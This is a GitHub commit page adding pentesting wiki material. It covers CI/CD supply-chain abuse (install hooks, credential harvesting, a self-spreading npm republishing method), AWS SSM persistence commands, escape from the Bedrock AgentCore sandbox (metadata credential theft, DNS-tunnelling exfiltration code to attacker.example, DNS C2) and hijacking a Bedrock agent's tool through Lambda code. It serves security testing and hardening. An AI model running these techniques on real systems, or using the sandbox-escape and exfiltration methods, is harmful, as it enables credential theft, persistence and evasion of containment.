Skip to content

Commit 6447449

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents bc899d4 + c27dd45 commit 6447449

5 files changed

Lines changed: 321 additions & 1 deletion

File tree

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,6 +87,25 @@ Knowing the 3 flavours to poison a pipeline, lets check what an attacker could o
8787
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
8888
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
8989

90+
### Dependency & Registry Supply-Chain Abuse
91+
92+
Compromising a CI/CD pipeline or stealing credentials from it can let an attacker move from **pipeline execution** to **ecosystem-wide code execution** by backdooring dependencies or release tooling:
93+
94+
- **Install-time code execution via package hooks**: publish a package version that adds `preinstall`, `postinstall`, `prepare`, or similar hooks so the payload runs automatically on developer workstations and CI runners during dependency installation.
95+
- **Secondary execution paths**: even if targets install with `--ignore-scripts`, a malicious package can still register a **common CLI name** in the `bin` field so the attacker-controlled wrapper is symlinked into `PATH` and executes later when the command is used.
96+
- **Runtime bootstrapping**: a small installer can download a second runtime or toolchain during installation (for example Bun or a packed interpreter) and then launch the main payload with it, avoiding local dependency requirements.
97+
- **Credential harvesting from build environments**: once code runs inside CI, check environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs, and local tooling such as `gh auth token`. On GitHub Actions, also look for runner-specific secrets and artifacts.
98+
- **Workflow injection with stolen GitHub tokens**: a token with **`repo` + `workflow`** permissions is enough to create a branch, commit a malicious file inside `.github/workflows/`, trigger it, collect the produced artifacts/logs, and then delete the temporary branch/workflow run to reduce traces.
99+
- **Wormable registry propagation**: stolen npm tokens should be validated for **publish** permissions and whether they bypass 2FA. If they do, enumerate writable packages, download their tarballs, inject a loader such as `setup.mjs`, set `preinstall` to execute it, bump the patch version, and republish. This turns one CI compromise into downstream auto-execution in other environments.
100+
101+
#### Practical checks during an assessment
102+
103+
- Review release automation for package-manager hooks added to `package.json`, unexpected `bin` entries, or version bumps that only modify the release artifact.
104+
- Check whether CI stores long-lived registry credentials in plaintext files such as `~/.npmrc` instead of using short-lived OIDC or trusted publishing.
105+
- Verify whether GitHub tokens available in CI can write workflow files or create branches/tags.
106+
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
107+
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
108+
90109
## More relevant info
91110

92111
### Tools & CIS Benchmark
@@ -109,6 +128,8 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
109128
## References
110129

111130
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
131+
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
132+
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)
112133

113134

114135
{{#include ../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,62 @@ aws ssm create-association \
2727
> [!NOTE]
2828
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
2929
30+
31+
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
32+
33+
An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
34+
35+
```bash
36+
aws ssm list-documents
37+
aws ssm get-document --name "target-document" --document-format YAML
38+
# You will need to specify the version you're updating
39+
aws ssm update-document \
40+
--name "target-document" \
41+
--document-format YAML \
42+
--content "file://doc.yaml" \
43+
--document-version 1
44+
aws ssm update-document-default-version --name "target-document" --document-version 2
45+
```
46+
47+
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
48+
49+
```yaml
50+
schemaVersion: '2.2'
51+
description: Execute commands on a Linux instance.
52+
parameters:
53+
commands:
54+
type: StringList
55+
description: "The commands to run."
56+
displayType: textarea
57+
mainSteps:
58+
- action: aws:runShellScript
59+
name: runCommands
60+
inputs:
61+
runCommand:
62+
- "id > /tmp/pwn_test.txt"
63+
```
64+
65+
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
66+
67+
An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
68+
69+
``` bash
70+
aws ec2 describe-instances
71+
aws ssm describe-maintenance-window
72+
aws ssm register-target-with-maintenance-window \
73+
--window-id "<mw-id>" \
74+
--resource-type "INSTANCE" \
75+
--targets "Key=InstanceIds,Values=<instance_id>"
76+
aws ssm register-task-with-maintenance-window \
77+
--window-id "<mw-id>" \
78+
--task-arn "AWS-RunShellScript" \
79+
--task-type "RUN_COMMAND" \
80+
--targets "Key=WindowTargetIds,Values=<target_id>" \
81+
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
82+
--max-concurrency 50 \
83+
--max-errors 100
84+
```
85+
3086
{{#include ../../../../banners/hacktricks-training.md}}
3187

3288

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -130,11 +130,118 @@ The core issue is that the backend lets the model decide **who may do what** by
130130
- Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions.
131131
- Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules.
132132

133+
## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
134+
135+
### Overview
136+
137+
Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs.
138+
139+
The useful chain is:
140+
141+
1. Access the microVM metadata endpoint at `169.254.169.254`
142+
2. Recover temporary credentials from MMDS if tokenless access is still allowed
143+
3. Abuse sandbox DNS recursion as a covert egress path
144+
4. Exfiltrate credentials or run a DNS-based control loop
145+
146+
This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path.
147+
148+
### Main primitives
149+
150+
#### 1. Runtime SSRF -> MMDS credentials
151+
152+
AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive.
153+
154+
This recreates the old **IMDSv1 risk model**:
155+
156+
```bash
157+
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
158+
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
159+
```
160+
161+
If MMDSv2 is enforced, a simple SSRF usually loses impact because it also needs a preceding `PUT` request to obtain the session token. If MMDSv1-compatible access is still enabled on older agents/tools, treat Runtime SSRF as a high-severity credential theft path.
162+
163+
#### 2. Code Interpreter -> MMDS reconnaissance
164+
165+
Inside Code Interpreter, arbitrary code execution already exists by design, so MMDS mainly matters because it exposes:
166+
167+
- temporary IAM role credentials
168+
- instance metadata and tags
169+
- internal service plumbing that hints at reachable AWS backends
170+
171+
Interesting paths from the research:
172+
173+
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
174+
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
175+
176+
The returned S3 pre-signed URL is useful because it proves the sandbox still needs some outbound path to AWS services. That is a strong hint that "isolated" only means "restricted", not "offline".
177+
178+
#### 3. Sandbox DNS recursion -> DNS tunneling
179+
180+
The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**.
181+
182+
Quick validation from inside the interpreter:
183+
184+
```python
185+
import socket
186+
187+
socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
188+
socket.gethostbyname_ex("attacker.example")
189+
```
190+
191+
If attacker-controlled domains resolve, use the query name itself as the transport:
192+
193+
```python
194+
import base64
195+
import socket
196+
197+
data = b"my-secret"
198+
label = base64.urlsafe_b64encode(data).decode().rstrip("=")
199+
socket.gethostbyname_ex(f"{label}.attacker.example")
200+
```
201+
202+
The recursive resolver forwards the query to the attacker's authoritative DNS server, so the payload is recovered from DNS logs. Repeating this in chunks gives you a simple **egress channel** for:
203+
204+
- MMDS credentials
205+
- environment variables
206+
- source code
207+
- command output
208+
209+
DNS responses can also carry small tasking values, enabling a basic **bidirectional DNS C2** loop.
210+
211+
### Practical post-exploitation chain
212+
213+
1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
214+
2. Query MMDS and recover the attached role credentials when tokenless metadata is available.
215+
3. Test whether sandbox/public DNS recursion reaches an attacker domain.
216+
4. Chunk and encode credentials into subdomains.
217+
5. Reconstruct them from authoritative DNS logs and reuse them with AWS APIs.
218+
219+
For direct execution-role pivoting through a more privileged interpreter configuration, also check [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
220+
221+
### Pre-signed URL signer identity leak
222+
223+
The undocumented MMDS tag values can also leak backend identity information. If you intentionally break the signature of the returned S3 pre-signed URL, the `SignatureDoesNotMatch` response may disclose the signing `AWSAccessKeyID`. That key ID can then be mapped to an owning AWS account:
224+
225+
```bash
226+
aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
227+
```
228+
229+
This does not automatically grant write access outside the scope of the pre-signed object path, but it helps map the AWS-managed infrastructure behind the Bedrock service.
230+
231+
### Hardening / detection
232+
233+
- Prefer **VPC mode** when you need real network isolation instead of relying on Sandbox mode.
234+
- Restrict DNS egress in VPC mode with **Route 53 Resolver DNS Firewall**.
235+
- Require **MMDSv2** where AgentCore exposes that control, and disable MMDSv1 compatibility on older agents/tools.
236+
- Treat any Runtime SSRF as potentially equivalent to metadata credential theft until MMDSv2-only behavior is verified.
237+
- Keep AgentCore execution roles tightly scoped because DNS tunneling turns "non-internet" code execution into a practical exfiltration channel.
238+
133239

134240
## References
135241

136242
- [When AI Remembers Too Much – Persistent Behaviors in Agents’ Memory (Unit 42)](https://unit42.paloaltonetworks.com/indirect-prompt-injection-poisons-ai-longterm-memory/)
137243
- [When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications (Unit 42)](https://unit42.paloaltonetworks.com/amazon-bedrock-multiagent-applications/)
244+
- [Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox (Unit 42)](https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/)
138245
- [Retain conversational context across multiple sessions using memory – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-memory.html)
139246
- [How Amazon Bedrock Agents works](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-how.html)
140247
- [Advanced prompt templates – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/advanced-prompts-templates.html)
@@ -143,5 +250,7 @@ The core issue is that the backend lets the model decide **who may do what** by
143250
- [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
144251
- [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
145252
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
253+
- [Understanding credentials management in Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
254+
- [Resource management - Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-resource-management.html)
146255

147256
{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md

Lines changed: 80 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ List interpreters (control-plane) and inspect their configuration:
2929
```bash
3030
aws bedrock-agentcore-control list-code-interpreters
3131
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
32-
````
32+
```
3333

3434
> The create-code-interpreter command supports `--execution-role-arn` which defines what AWS permissions the interpreter will have.
3535
@@ -108,6 +108,84 @@ awscurl -X POST \
108108
* Use **SCPs** to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
109109
* Enable appropriate **CloudTrail data events** for AgentCore where applicable; alert on unexpected invocations and session creation.
110110

111+
## Amazon Bedrock Agents
112+
113+
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
114+
115+
Bedrock Agents can use **Lambda-backed action groups** as tools (external execution). If a principal can **modify the code of a Lambda function used by an agent**, and can then **invoke the agent**, they can execute attacker-controlled code under the **Lambda execution role**.
116+
117+
> [!NOTE]
118+
> This is a **cross-service trust abuse** (Bedrock → Lambda), not a vulnerability. The attacker may not be able to invoke the Lambda directly, but can still trigger it via the agent.
119+
120+
#### Preconditions (common misconfiguration)
121+
122+
- A Bedrock Agent exists with an **action group backed by a Lambda function**
123+
- The attacker has:
124+
- `lambda:UpdateFunctionCode`
125+
- `bedrock:InvokeAgent`
126+
- The Lambda execution role has broader permissions than the attacker
127+
- The attacker can identify the Lambda used by the agent
128+
129+
#### Recon
130+
131+
Enumerate agent action groups:
132+
133+
```bash
134+
aws bedrock-agent list-agents
135+
aws bedrock-agent get-agent --agent-id <AGENT_ID>
136+
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
137+
```
138+
139+
Inspect Lambda:
140+
141+
```bash
142+
aws lambda get-function --function-name <FUNCTION_NAME>
143+
```
144+
145+
#### Exploitation
146+
147+
Replace Lambda code:
148+
149+
```bash
150+
zip payload.zip lambda_function.py
151+
152+
aws lambda update-function-code \
153+
--function-name <FUNCTION_NAME> \
154+
--zip-file fileb://payload.zip
155+
```
156+
157+
Example payload:
158+
159+
```python
160+
import boto3
161+
162+
def lambda_handler(event, context):
163+
return boto3.client("sts").get_caller_identity()
164+
```
165+
166+
Trigger via agent:
167+
168+
```bash
169+
aws bedrock-agent-runtime invoke-agent \
170+
--agent-id <AGENT_ID> \
171+
--agent-alias-id <ALIAS_ID> \
172+
--session-id test \
173+
--input-text "trigger tool"
174+
```
175+
176+
#### Impact
177+
178+
* **Privilege escalation** into Lambda execution role
179+
* **Data exfiltration** from AWS services
180+
* **Cross-service abuse** via trusted agent execution
181+
182+
#### Mitigations
183+
184+
* **Restrict** `lambda:UpdateFunctionCode`
185+
* Use **least-privilege** Lambda roles
186+
* **Monitor** Lambda code changes
187+
* **Audit** Bedrock agent tool usage
188+
111189
## References
112190

113191
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
@@ -116,6 +194,7 @@ awscurl -X POST \
116194
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
117195
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
118196
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
197+
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
119198

120199

121200
{{#include ../../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)